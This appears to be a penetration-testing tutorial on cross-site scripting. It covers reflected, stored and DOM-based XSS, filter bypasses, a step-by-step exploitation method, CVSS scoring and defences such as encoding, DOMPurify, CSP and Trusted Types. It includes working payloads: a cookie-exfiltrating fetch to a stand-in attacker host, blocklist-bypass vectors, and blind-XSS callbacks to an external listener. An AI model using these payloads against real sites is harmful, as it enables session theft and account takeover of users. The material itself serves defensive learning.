Cross-Site Scripting (XSS) is the flaw where an attacker manages to get JavaScript code of their choosing executed in another user’s browser, within the vulnerable application’s origin. It’s not “an alert popup”: it’s arbitrary code execution in the victim’s context. Everything your page’s JavaScript can do — read the DOM, fire authenticated requests, access document.cookie, manipulate localStorage — the attacker can do too, now on behalf of whoever visited the page.

The severity comes precisely from that “victim’s context”. Because the script runs in your origin, it’s already inside the same-origin policy: it can talk to your API with the user’s session cookies, capture what they type, alter what they see, and act as them. That’s why XSS is, at once, one of the most common vulnerabilities and one of the most underestimated — and the correct defense is almost never “filtering the word script”.

How it works

The root of every XSS is the same: attacker-controlled data reaches a place where the browser interprets it as code, instead of treating it as text. The difference between the types lies in where that data travels before getting there.

Consider a search that returns the searched term straight into the HTML:

# Vulnerable server (Flask) — concatenates user input into the HTML
@app.get("/buscar")
def buscar():
    termo = request.args.get("q", "")
    return f"<h1>Resultados para: {termo}</h1>"  # <- no encoding

A normal search for notebook produces <h1>Resultados para: notebook</h1>. But the attacker sends something else:

GET /buscar?q=<script>fetch('https://evil.attacker/c?'+document.cookie)</script> HTTP/1.1
Host: app.exemplo.com

The response now contains:

<h1>Resultados para: <script>fetch('https://evil.attacker/c?'+document.cookie)</script></h1>

The browser has no way of knowing that this <script> came from a hostile parameter — it just sees a valid script tag in its origin and executes it. This is reflected XSS: the payload travels in the request, is “reflected” in the immediate response, and fires when the victim opens a crafted link.

Technical detail: a <script> inserted via innerHTML (DOM-based) does not execute, per the HTML specification. But a <script> that arrives in the HTML straight from the server (reflected/stored), as in this example, is parsed and executed normally — that’s why the <script> tag works here, but the DOM-based examples will use vectors like <img onerror>.

The three main types

  • Reflected: the input comes in the request (URL, form) and is returned in the immediate response without persisting. It requires delivering a malicious link/POST to the victim. It’s the example above.
  • Stored: the payload is saved on the server (a comment, a profile name, a support ticket, a product description) and served to everyone who opens that page. No link needed: the victim only has to view the content. It’s the most severe because it hits many users and can even catch administrators in the internal panel.
  • DOM-based: the server doesn’t even take part in the injection. The flaw is in the client-side JavaScript, which reads a controllable source and writes it to a dangerous sink. The payload may not even reach the server (in URLs, the fragment after # is not sent in the HTTP request).

A classic DOM-based example:

// Reads the URL fragment and injects it into the DOM with no handling
const aba = location.hash.slice(1);            // source: controllable
document.getElementById("conteudo").innerHTML = aba;  // sink: dangerous

With the URL https://app.exemplo.com/painel#<img src=x onerror=alert(document.domain)>, innerHTML materializes the <img>, the onerror fires (the src=x image fails on purpose) and we have execution — without any of this passing through the backend, which makes the problem invisible to WAFs and server logs. Notice that here we use <img onerror> and not <script>: HTML inserted via innerHTML does not execute <script> tags, but it does execute event handlers like onerror/onload.

Sources and sinks in the DOM

To hunt down (and fix) DOM XSS, think in terms of data flow: from where the data comes (source) to where it gets interpreted (sink).

Common sources (controllable input): location.href, location.hash, location.search, document.referrer, window.name, postMessage messages, data coming from third-party fetch/XMLHttpRequest, localStorage/sessionStorage.

Dangerous sinks (interpret as code):

SinkWhat it interprets
innerHTML, outerHTMLHTML (executes onerror, onload, etc.; does not execute an inserted <script>)
document.writeHTML in the parsing stream (executes <script>)
eval, Function(), setTimeout("..."), setInterval("...")JavaScript (only when they receive a string)
element.setAttribute("href", x) / location = xURLs (javascript: scheme)
el.insertAdjacentHTMLHTML

The practical rule: any data that leaves a source and reaches a sink without sanitization is an XSS waiting to happen.

Variations and bypasses

XSS isn’t limited to the three textbook types. Anyone who tests for real finds variants that fool naive filters.

The context changed — and so must the escaping. The same input is safe in one place and fatal in another. Look at the same NOME variable in four contexts:

<!-- 1. HTML context (body) -->
<p>Olá, NOME</p>
<!-- payload: <script>alert(1)</script>  → must escape < > & -->

<!-- 2. ATTRIBUTE context -->
<input value="NOME">
<!-- payload: "><script>alert(1)</script>  → the " closes the attribute -->

<!-- 3. JavaScript context -->
<script>var u = "NOME";</script>
<!-- payload: ";alert(1);//  → the " closes the string and injects code -->

<!-- 4. URL context -->
<a href="NOME">link</a>
<!-- payload: javascript:alert(1)  → dangerous scheme, escaping quotes isn't enough -->

Notice that escaping < and > solves context 1, but it does not protect context 2 (a single quote closes the attribute), nor context 3 (the break is inside a JS string), nor context 4 (the problem is the javascript: scheme, not an HTML character). That’s why the primary defense is context-sensitive encoding, not a list of forbidden characters.

Watch out for context 3: the correct escaping for a string inside <script> is not the usual HTML encoding. Encoding </> there doesn’t stop the attack (the injection uses " and ;), and it would also corrupt the JavaScript. The safe path is to not interpolate raw data inside <script>: serialize it with JSON.stringify on the server, or inject the value via data-*/<script type="application/json"> and read it with textContent/JSON.parse on the client.

Blocklist-based filter bypasses. When the application tries to strip <script> or the word alert, the workarounds are abundant:

<img src=x onerror=alert(document.domain)>      <!-- doesn't even need <script> -->
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<iframe src="javascript:alert(1)">
<a href="java&#115;cript:alert(1)">x</a>        <!-- HTML entity breaks the filter -->
<scr<script>ipt>alert(1)</scr</script>ipt>      <!-- filter that strips "script" once -->

Two of these are worth noting. In the fifth, &#115; is the HTML entity for s: the filter sees the literal string java&#115;cript: (which does not match javascript:), but the browser decodes the entity at the moment it parses the href attribute, resulting in javascript:alert(1). In the sixth, a filter that does a single replace("<script>", "") is defeated: by removing the inner <script> from <scr<script>ipt>, the two halves join and a valid <script> is left. That’s why stripping patterns is a losing strategy.

Mutation XSS (mXSS). More sophisticated: HTML that looks harmless is rewritten by the browser itself when inserted via innerHTML, and the rewrite creates an executable tag that didn’t exist in the original text. It’s the bane of homegrown sanitizers — the “clean” HTML mutates into something dangerous when the browser’s parser normalizes it (classic cases involve <noscript>, <template>, SVG/MathML and namespaces). It’s the reason to use a mature sanitizer like DOMPurify, which knows about and neutralizes these mutations, instead of writing your own.

Self-XSS. The attacker convinces the victim themselves to paste a payload into the browser console (“paste this to unlock a feature”). On its own it has low impact (the victim attacks themselves), but it becomes serious when chained with another vector — for example, a CSRF that persists the pasted payload, turning self-XSS into stored XSS.

Blind XSS. The payload is stored in a place where you don’t see it execute — a “feedback” field, a logged User-Agent, a support form that’s only opened later by an analyst in the internal panel. Execution happens in another context, later on. You detect it with out-of-band (OOB) interaction: the payload makes a call to a server of yours, and you discover the XSS when the ping arrives.

XSS worms. In stored XSS within a social network or collaborative platform, the payload can, when it executes in a victim’s browser, republish itself on their profile — propagating from user to user. The historic Samy case on MySpace, in 2005, infected more than a million profiles in under 24 hours. It’s XSS taken to epidemic scale.

How we exploit it in a pentest

The attacker’s view is methodical: confirm the injection, identify the context, and only then build the minimal payload that context requires.

1. Locate and confirm the reflection point. We send a unique, harmless marker (e.g., il7x9q) into every parameter, header, and field, and look for where it reappears — in the HTML response or in the already-rendered DOM. In Burp Suite, the Burp Scanner automates that sweep. To discover hidden parameters that aren’t even documented, we use Param Miner.

2. Determine the exact context. Where did the marker land? Inside <p>texto</p>? Inside value="..."? Inside a <script>? In an href attribute? The context defines the “escape character” needed (<, ", ', or a URL scheme). We inject the test characters — '<"> — and observe which ones survive without encoding in the response. The ones that come through intact are the key.

3. Build the payload suited to the context. For validation we use something that proves execution unambiguously and is non-destructive:

<!-- proof of concept of impact, non-destructive -->
"><script>alert(document.domain)</script>

Using document.domain instead of alert(1) makes it clear in the report in which origin the code executed — evidence worth its weight in gold. (Remember that this <script> payload is effective in server-side reflection; for a DOM sink like innerHTML, switch to "><img src=x onerror=alert(document.domain)>.)

4. Hunt for DOM XSS. Here the server is no help. We use DOM Invader (built into Burp’s browser) to trace the source → sink flow in real time, or DevTools with breakpoints on innerHTML/eval. The targets are URLs with # and postMessage handlers.

5. Trigger blind XSS via OOB. For fields whose output we don’t see, we plant a payload that calls back to a listener of ours — Burp Collaborator or a service like xsshunter:

<script src="https://SEU-ID.oastify.com/x.js"></script>

When an internal analyst opens that ticket days later, their browser loads our script and Collaborator records the call, with IP, User-Agent, and (with a more complete payload) a capture of the DOM. It’s the most reliable way to prove blind XSS. Note that if the injection point is a DOM sink via innerHTML, the <script src> tag won’t execute; in that case use <img src=x onerror="import('https://SEU-ID.oastify.com/x.js')"> or equivalent.

6. Assess the existing CSP and look for bypasses. If there’s a Content-Security-Policy, it can reduce or neutralize the impact. We analyze the policy (Google’s CSP Evaluator helps) looking for classic weaknesses: unsafe-inline, unsafe-eval, a CDN domain on the allowlist that hosts an exploitable JSONP or Angular/AngularJS file, or a script-src with broad wildcards. A misconfigured CSP gives a false sense of security — and a bypass of it is often a finding in its own right.

Summary for the report

  • Impact: arbitrary JavaScript execution in the context of the application’s origin, in the victim’s browser — enabling session/cookie theft, account takeover, keylogging, exfiltration of data displayed on the page, and authenticated actions on behalf of the victim. In stored XSS, it hits multiple users (including administrators) and can spread as a worm.
  • Severity: High to Critical. Typical reflected ~6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N); stored hitting a privileged account reaches Critical (8.0+). Isolated self-XSS: Low. Adjust the vector to the real case (impact, scope, and interaction vary).
  • Preconditions: an injection point that reaches an interpretable context without encoding/sanitization; for reflected, inducing the victim to open a link/POST; for stored, merely that the victim view the content. Absence or weakness of CSP and HttpOnly amplifies the impact.
  • Suggested evidence: the request with the payload and the response showing the reflection without encoding; a capture of alert(document.domain) executing; for blind XSS, the Collaborator/OOB listener log (timestamp, IP, origin); for DOM XSS, the code snippet with source and sink and the DOM Invader trace.

How to mitigate

The developer’s defense has one primary layer and several defense-in-depth layers. The primary one is context-sensitive output encoding: at the moment you insert data into a page, encode it for the exact context it enters.

# WRONG: raw concatenation
return f"<h1>Resultados para: {termo}</h1>"

# RIGHT: encoding for the HTML context
from markupsafe import escape
return f"<h1>Resultados para: {escape(termo)}</h1>"
# < becomes &lt;  > becomes &gt;  " becomes &#34;  ' becomes &#39;  → treated as TEXT, not code

In practice, most server-side template engines (Jinja2, Django, Razor, Thymeleaf) already do this HTML escaping by default; the danger appears when you turn off auto-escaping (| safe, mark_safe, Html.Raw) or concatenate strings by hand as in the “WRONG” example. When that same input is evaluated as template code rather than data, you get the server-side cousin of XSS — Server-Side Template Injection; our SSTI cheatsheet lists detection and RCE payloads per engine.

Use the framework’s auto-escaping — and know its pitfalls. React, Angular, and Vue escape interpolation by default. In React, <div>{nome}</div> is automatically safe. The danger lies in the “escape hatches” that turn off that protection:

// React — dangerous: bypasses auto-escaping
<div dangerouslySetInnerHTML={{ __html: comentario }} />
<!-- Vue — dangerous -->
<div v-html="comentario"></div>
// Angular — dangerous
this.html = this.sanitizer.bypassSecurityTrustHtml(comentario);

These three are the most common XSS doors in modern SPAs. The rule: never pass controllable data to dangerouslySetInnerHTML, v-html, or bypassSecurityTrust* without sanitizing it first (see DOMPurify below). Keep in mind that auto-escaping covers the HTML/attribute context of the interpolation, but it does not automatically protect against href="javascript:..." built from controllable data — URL schemes still require explicit validation.

Avoid the dangerous sinks. Prefer APIs that treat data as text:

// WRONG
el.innerHTML = dadoDoUsuario;

// RIGHT — textContent never interprets HTML
el.textContent = dadoDoUsuario;

// To build elements, create nodes, not strings
const link = document.createElement("a");
link.textContent = nome;          // safe text
link.setAttribute("href", urlValidada);  // validate the scheme first

And validate the URL scheme before placing it in href/src: allow only https: (and maybe mailto:), rejecting javascript: and data:.

function urlSegura(u) {
  try {
    const { protocol } = new URL(u, location.origin);
    return ["https:", "mailto:"].includes(protocol) ? u : "about:blank";
  } catch {
    return "about:blank";
  }
}

When you need to allow rich HTML (a text editor, for example), don’t write your own sanitizer — use DOMPurify, which even understands mXSS mutations:

import DOMPurify from "dompurify";

// Sanitizes rich HTML keeping only safe tags/attributes
const limpo = DOMPurify.sanitize(htmlDoUsuario, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "li"],
  ALLOWED_ATTR: ["href"],
});
el.innerHTML = limpo;  // now safe

Content-Security-Policy as defense in depth. A strict nonce-based CSP prevents injected scripts from executing even if an XSS escapes the encoding:

Content-Security-Policy: script-src 'nonce-r4nd0m2026' 'strict-dynamic'; object-src 'none'; base-uri 'none'

Only scripts with the correct nonce (generated per request and impossible to guess) run; a <script> injected by the attacker doesn’t have the nonce and is blocked by the browser. 'strict-dynamic' lets a trusted script load others without having to list every domain, and base-uri 'none' prevents an injected <base> from hijacking relative URLs. Never use unsafe-inline in script-src — it nullifies the protection (in browsers that understand strict-dynamic, unsafe-inline is ignored when a nonce is present, but keeping it in the policy is a configuration smell).

Trusted Types takes this further: it makes the browser refuse any assignment of a raw string to dangerous DOM sinks like innerHTML, forcing everything to go through a sanitization policy. It closes the door on the vast majority of DOM XSS by construction (it does not, on its own, cover vectors outside the “script” sinks, such as href="javascript:", which still require URL validation). It’s currently supported by Chromium-based browsers; in others it’s ignored without breaking the page, so it works as progressive hardening.

Content-Security-Policy: require-trusted-types-for 'script'

HttpOnly cookies don’t prevent XSS, but they reduce the impact: an HttpOnly session cookie is not readable by document.cookie, so direct session theft via document.cookie fails (the attacker can still act through authenticated requests from the victim’s own browser, but loses the easiest path to exfiltrate the session).

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax

Input validation does not replace output encoding. Validating the format on input (an email is an email, an age is a number) is good hygiene, but the same valid data can be harmless in one context and dangerous in another. XSS is resolved at the moment of output, by encoding for the destination context — only there do you know whether the data becomes HTML, an attribute, JS, or a URL.

Mitigation checklist

  • Context-sensitive output encoding on every insertion of data into the page (HTML, attribute, JS, URL).
  • Rely on the framework’s auto-escaping and audit every use of dangerouslySetInnerHTML, v-html, bypassSecurityTrust*, and template “escape hatches” (| safe, mark_safe, Html.Raw).
  • Avoid dangerous sinks (innerHTML, document.write, eval, setTimeout/setInterval with a string); prefer textContent and createElement/setAttribute.
  • Validate the URL scheme (only https:/mailto:) before href/src; reject javascript: and data:.
  • Sanitize rich HTML with DOMPurify (never a homegrown sanitizer) — it covers mXSS.
  • Strict CSP based on nonce + strict-dynamic; no unsafe-inline/unsafe-eval; object-src 'none' and base-uri 'none'.
  • Trusted Types (require-trusted-types-for 'script') to harden DOM sinks.
  • Session cookies with HttpOnly, Secure, and SameSite to contain the impact.
  • Treat all inputs — including headers, User-Agent, and internal fields — as blind XSS vectors.

XSS is, at its core, a flaw of confusion between data and code: at some point, text the attacker controls was interpreted as an instruction. Mature defense doesn’t try to guess which characters are “dangerous” on input — it ensures that, on output, all data is unambiguously treated as data, in the exact context where it appears. Whoever understands context beats XSS; whoever trusts a blocklist is only postponing the next injection.